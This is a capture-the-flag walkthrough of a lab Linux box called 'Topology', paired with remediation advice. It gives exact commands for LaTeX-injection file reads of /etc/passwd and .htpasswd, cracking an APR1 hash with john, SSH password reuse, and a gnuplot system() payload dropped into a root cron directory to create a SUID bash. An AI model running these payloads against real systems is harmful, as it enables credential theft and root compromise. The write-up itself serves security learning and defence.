← all walkthroughs

Topology

Linux· Easy
owned
2026-07-06
time to own
6m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found an Apache web server on port 80 hosting a Miskatonic University mathematics department site. Virtual-host probing uncovered a LaTeX equation renderer at latex.topology.htb and a developer preview at dev.topology.htb protected by HTTP Basic Auth.

The renderer passed user-supplied LaTeX directly to a compiler without filtering dangerous file-read commands; injecting a \lstinputlisting{/var/www/dev/.htpasswd} directive caused the server to embed the dev-site credential file into the returned PNG image. OCR of that image recovered an Apache APR1 hash for user vdaisley, which john cracked against the rockyou wordlist in seconds to reveal the password [REDACTED: recovered credential] Because the same password was reused for vdaisley's Linux OS account, SSH login succeeded immediately, yielding an interactive shell and the user flag.

Post-foothold enumeration found /opt/gnuplot world-writable and processed by a root-owned cron job. Dropping a single gnuplot script that called system() to copy /bin/bash with the SUID bit set gave root access within minutes — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1EnumerationVirtual-host enumeration via HTTP Host-header fuzzing
Scanned the target and enumerated hidden virtual hosts
An initial service scan confirmed Apache 2.4.41 on port 80 serving a Miskatonic University mathematics-department page at topology.htb. Probing subdomain patterns with forged Host headers revealed three additional virtual hosts on the same IP: latex.topology.htb (a directory-listed LaTeX equation renderer exposing equation.php), dev.topology.htb (an HTTP Basic Auth-protected developer preview, realm 'Under construction'), and stats.topology.htb. These subdomains were not linked from the main site and were only discoverable by brute-forcing Host header values.
HTTP 200 title 'Miskatonic University | Topology Group' on topology.htb; directory index on latex.topology.htb listing equation.php dated 2023-06-12; HTTP 401 WWW-Authenticate: Basic realm="Under construction" on dev.topology.htb.
Exact commands 4
Identify Apache version and grab the default-vhost page title.
nmap -Pn -sV -p80 --script=http-title,http-headers $TARGET
Register all discovered vhosts for name-based resolution.
echo "$TARGET topology.htb latex.topology.htb dev.topology.htb stats.topology.htb" | sudo tee -a /etc/hosts
Confirm each vhost responds differently and note the 401 on dev.topology.htb.
for vhost in topology.htb latex.topology.htb dev.topology.htb stats.topology.htb; do echo "--- $vhost ---"; curl -si -H "Host: $vhost" http://$TARGET/ | head -4; done
Verify directory listing and confirm equation.php is present.
curl -si http://latex.topology.htb/
2ExploitationServer-side LaTeX injection / arbitrary file read (T1083)
Injected a LaTeX file-read payload to confirm arbitrary local file read
Equation.php on latex.topology.htb rendered user-supplied LaTeX server-side with no sanitization of dangerous commands. Submitting a \lstinputlisting{} directive caused the LaTeX compiler to include the contents of any file readable by the Apache process in the compiled output, which was returned as a PNG image. A proof-of-concept payload targeting /etc/passwd confirmed working arbitrary file read: the server returned a 2441x2157 greyscale PNG whose OCR output contained recognizable passwd entries.
HTTP 200 from equation.php; output identified as PNG image data 2441x2157, 8-bit gray+alpha, non-interlaced; tesseract recovered /etc/passwd content from the image.
Exact commands 3
Inject the file-read primitive; the server compiles the LaTeX and returns a PNG.
curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/etc/passwd}$' http://latex.topology.htb/equation.php -o /tmp/passwd_render.png
Confirm the response is a valid PNG rather than an error page.
file /tmp/passwd_render.png
OCR the rendered image to read the embedded file contents.
tesseract /tmp/passwd_render.png stdout --psm 6
FixDisable dangerous file-read commands in the LaTeX equation rendererCritical
Weaknessequation.php passed user-supplied LaTeX directly to a compiler without filtering file-access directives. Any unauthenticated visitor could submit \lstinputlisting{}, \input{}, \include{}, or \verbatiminput{} to read any file the Apache process could access — including .htpasswd credential files stored under the web root — and receive the contents embedded in a downloadable PNG image.
FixRestrict the LaTeX compilation environment on the server: set openin_any=p in texmf.cnf so TeX can only open files within its own working directory; compile without --shell-escape to block shell calls; and pre-process all user input to reject or strip \lstinputlisting, \input, \include, \verbatiminput, and \write18 before passing it to the compiler. Ideally run the renderer in a container or chroot that has no access to the host filesystem. Move .htpasswd files outside the document root as a defence-in-depth measure.
3Credential AccessLaTeX injection — targeted read of Apache .htpasswd (T1552.001)
Exfiltrated the dev site's .htpasswd credential file via LaTeX injection
Knowing dev.topology.htb used HTTP Basic Auth, I targeted the default Apache credential-file path for Ubuntu (/var/www/dev/.htpasswd) using the same \lstinputlisting injection. The rendered PNG contained a single credential line revealing the username and an Apache APR1 (MD5-crypt) password hash for user vdaisley.
Tesseract output on the rendered PNG yielded the line: vdaisley:[REDACTED: password hash]
Exact commands 2
Target the dev-site credential file using the same injection point.
curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/var/www/dev/.htpasswd}$' http://latex.topology.htb/equation.php -o /tmp/htpasswd_render.png
Recover the hash line: vdaisley:[REDACTED: password hash]
tesseract /tmp/htpasswd_render.png stdout --psm 6
4Credential AccessOffline password cracking — Apache MD5-crypt / APR1 (T1110.002)
Cracked the APR1 hash offline to recover the plaintext password
The Apache APR1 (MD5-crypt) hash recovered via OCR was saved in the user:hash format required by john the Ripper and cracked offline against the rockyou wordlist using the md5crypt format flag. The password [REDACTED: recovered credential] was recovered in seconds — APR1 is a fast hash scheme and offers minimal resistance to dictionary attacks on common words.
John recovered the plaintext [REDACTED: recovered credential] for [REDACTED: password hash] using format md5crypt against rockyou.txt.
Exact commands 3
Write the hash in user:hash format; single quotes prevent the shell from expanding the $ characters.
echo "vdaisley:$HASH" > /tmp/vdaisley.htpasswd
Crack the APR1 hash; --format=md5crypt covers Apache's $apr1$ variant.
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt /tmp/vdaisley.htpasswd
Display the recovered credential: vdaisley:[REDACTED: recovered credential]
john --show --format=md5crypt /tmp/vdaisley.htpasswd
FixReplace the weak APR1 hash scheme with bcrypt in .htpasswdHigh
WeaknessThe .htpasswd file stored credentials using Apache's APR1 format (MD5-crypt). APR1 is a fast algorithm designed for compatibility rather than security; a common password like [REDACTED: recovered credential] can be cracked against a standard wordlist in seconds on commodity hardware, making any exfiltrated .htpasswd file trivially breakable.
FixRegenerate all .htpasswd entries using bcrypt: htpasswd -B -C 12 /path/to/.htpasswd vdaisley. Require passwords of at least 16 characters that are not based on dictionary words, enforced through a password manager. Where feasible, replace HTTP Basic Auth entirely with a session-based or SSO mechanism so that no password hash is stored in a file on disk.
5Initial AccessCredential reuse — web service to OS account (T1078)
Gained SSH shell as vdaisley by reusing the cracked web password
The password [REDACTED: recovered credential], originally set for vdaisley's dev.topology.htb HTTP Basic Auth account, was identical to the user's Linux OS account password. A direct SSH login with these credentials succeeded immediately, providing an interactive shell on the host. The user flag was retrieved from /home/vdaisley/user.txt.
Sshpass login to $TARGET as vdaisley:[REDACTED: recovered credential] succeeded; cat /home/vdaisley/user.txt returned <user.txt>.
Exact commands 1
Confirm shell access and capture the user flag.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no vdaisley@$TARGET 'id; cat /home/vdaisley/user.txt'
FixEnforce unique passwords across web services and OS accountsHigh
WeaknessThe password set for vdaisley's HTTP Basic Auth account on the web service was identical to the user's Linux OS account password. Once the web hash was cracked, SSH access required no additional effort — a single credential break granted full shell access to the host.
FixMandate unique, randomly generated passwords for every service account and OS account, enforced through a password manager or identity platform. Disable password-based SSH authentication in /etc/ssh/sshd_config (PasswordAuthentication no) and require SSH key pairs for all users. Where password SSH cannot be avoided, enable fail2ban or equivalent brute-force throttling on port 22.
6DiscoveryCron job abuse — world-writable input directory (T1053.003)
Identified a world-writable gnuplot directory automatically processed by a root cron job
Post-foothold enumeration of writable directories found /opt/gnuplot with permissions drwx-wx-wx — world-writable but not world-readable. A root-owned cron job periodically invoked gnuplot against every .plt script present in that directory. Because gnuplot's scripting language provides a built-in system() call that executes arbitrary shell commands, any .plt file placed in /opt/gnuplot would run with root privileges on the next cron cycle.
Ls -ld /opt/gnuplot showed drwx-wx-wx root root; the SUID artifact /tmp/rootbash appeared within ~60 s of payload placement, confirming root-cron execution.
Exact commands 1
Confirm world-writable permissions on /opt/gnuplot from the vdaisley shell.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'id; ls -ld /opt /opt/gnuplot'
FixRemove world-write access from cron-processed directoriesCritical
Weakness/opt/gnuplot was world-writable (drwx-wx-wx) and a root-owned cron job automatically executed every .plt script placed there. Any local user account — including a low-privilege foothold obtained through an unrelated vulnerability — could drop a malicious gnuplot script that the cron job would run as root, making this a trivial one-step path to full system compromise.
FixLock down the directory immediately: chmod 700 /opt/gnuplot; chown root:root /opt/gnuplot so only root can create or modify files there. Audit every cron job that processes files from a shared or group-writable path and ensure the input directory is owned by and exclusively writable by the account that runs the job. Never allow a privileged scheduled task to consume files from any path reachable by unprivileged users.
7Privilege Escalationgnuplot system() code execution via root cron — SUID binary implant (T1053.003 / T1548.001)
Planted a gnuplot system() payload to create a SUID root shell
A single-line gnuplot script containing a system() call that copied /bin/bash to /tmp/rootbash and set the SUID bit was placed into /opt/gnuplot. When the root cron job ran approximately one minute later it evaluated the script as root, creating the SUID binary. Running /tmp/rootbash -p opened a bash session with effective UID 0, and the root flag was retrieved from /root/root.txt.
SUID artifact /tmp/rootbash appeared after cron cycle; /tmp/rootbash -p -c 'id' returned euid=0(root); root.txt captured as <root.txt>.
Exact commands 4
Create the gnuplot payload file locally; double quotes inside single quotes are literal in bash.
echo 'system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")' > /tmp/privesc.plt
Drop the payload into the world-writable /opt/gnuplot directory.
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no /tmp/privesc.plt vdaisley@$TARGET:/opt/gnuplot/privesc.plt
Poll every 2 s for the SUID bash copy — typically appears within 60 s when the cron fires.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'for i in $(seq 1 90); do [ -u /tmp/rootbash ] && break; sleep 2; done; ls -l /tmp/rootbash'
Execute as effective root (euid=0) and capture the root flag.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp